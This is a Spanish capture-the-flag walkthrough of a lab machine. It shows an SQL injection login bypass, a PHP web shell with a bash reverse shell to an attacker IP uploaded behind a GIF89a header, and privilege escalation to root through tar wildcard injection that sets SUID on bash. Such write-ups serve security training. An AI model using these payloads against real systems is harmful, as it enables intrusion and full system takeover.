Enumeración de servicios
El objetivo expone SSH y una aplicación web sobre Apache. robots.txt revela /admin/, lo que confirma que la enumeración web debe incluir las zonas de administración y empleados:
❯ sudo nmap -p- -sS --min-rate 5000 -n -Pn -oG 01-allPorts 192.168.1.9
❯ nmap -sCV -p 22,80 -oN 02-targeted.txt 192.168.1.9
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-06-19 23:50 -04
Nmap scan report for 192.168.1.9
Host is up (0.00031s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.6 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.52 ((Ubuntu))
|_http-title: Quick Automative - Home
| http-robots.txt: 1 disallowed entry
|_/admin/
|_http-server-header: Apache/2.4.52 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernelBypass de autenticación mediante SQL Injection
Tras registrar una cuenta legítima en /customer obtenemos un listado de correos. La zona /employee contiene otro formulario de acceso; el campo de contraseña se concatena de forma insegura en una consulta y admite una SQL Injection de autenticación:
user: admin@admin.com
passwd: admin' or 1=1-- -La comilla cierra el valor esperado, or 1=1 fuerza una condición verdadera y -- - comenta el resto de la consulta.
Subida de la webshell
En Users → Employees → Upload photo podemos reemplazar la imagen de un usuario. La función presenta un Unrestricted File Upload RCE porque la validación sólo comprueba la firma inicial del archivo. Interceptamos la petición con Burp y anteponemos GIF89a al contenido PHP; esos bytes satisfacen la comprobación superficial sin impedir que PHP interprete el código al solicitarlo:
❯ cat pwned.php
<?php
shell_exec("bash -c 'bash -i >& /dev/tcp/192.168.1.5/1234 0>&1'");
?>Dejamos un listener en el puerto 1234 y solicitamos la supuesta imagen desde el directorio de subidas:
❯ ncat -nlvp 1234
Ncat: Connection from 192.168.1.9:53910.
bash: cannot set terminal process group (740): Inappropriate ioctl for device
bash: no job control in this shell
www-data@quick4:/var/www/html/employee/uploads$La conexión entrante confirma ejecución remota como www-data y permite recuperar la primera flag.
Enumeración de tareas programadas
/etc/crontab muestra que root ejecuta /usr/local/bin/backup.sh cada minuto. El script cambia a un directorio escribible por nuestro usuario web y pasa el comodín * directamente a tar:
www-data@quick4:/tmp$ cat /etc/crontab
...
*/1 * * * * root /usr/local/bin/backup.sh
...
www-data@quick4:/tmp$ cat /usr/local/bin/backup.sh
#!/bin/bash
cd /var/www/html/
tar czf /var/backups/backup-website.tar.gz *Escalada mediante Tar Wildcard Injection
La Tar Wildcard Injection aparece porque el shell expande * antes de iniciar tar. Los nombres de archivo que comienzan con -- terminan ocupando posiciones de argumentos y la herramienta los interpreta como opciones. Creamos un script que activa SUID sobre /bin/bash y dos archivos cuyos nombres equivalen a --checkpoint=1 y --checkpoint-action=exec=sh repwned.sh:
www-data@quick4:/var/www/html$ echo "chmod u+s /bin/bash" > repwned.sh
www-data@quick4:/var/www/html$ chmod +x repwned.sh
www-data@quick4:/var/www/html$ touch /var/www/html/--checkpoint=1
www-data@quick4:/var/www/html$ touch /var/www/html/--checkpoint-action=exec=sh\ repwned.sh
www-data@quick4:/var/www/html$ ls -l /bin/bash
-rwsr-xr-x 1 root root 1396520 Mar 14 11:31 /bin/bash
www-data@quick4:/var/www/html$ bash -p
bash-5.1# whoami
rootCuando cron ejecuta el backup, tar lanza el script como root y modifica Bash. bash -p conserva el UID efectivo privilegiado; whoami confirma la escalada. Recuperamos la flag final y damos por completada la máquina.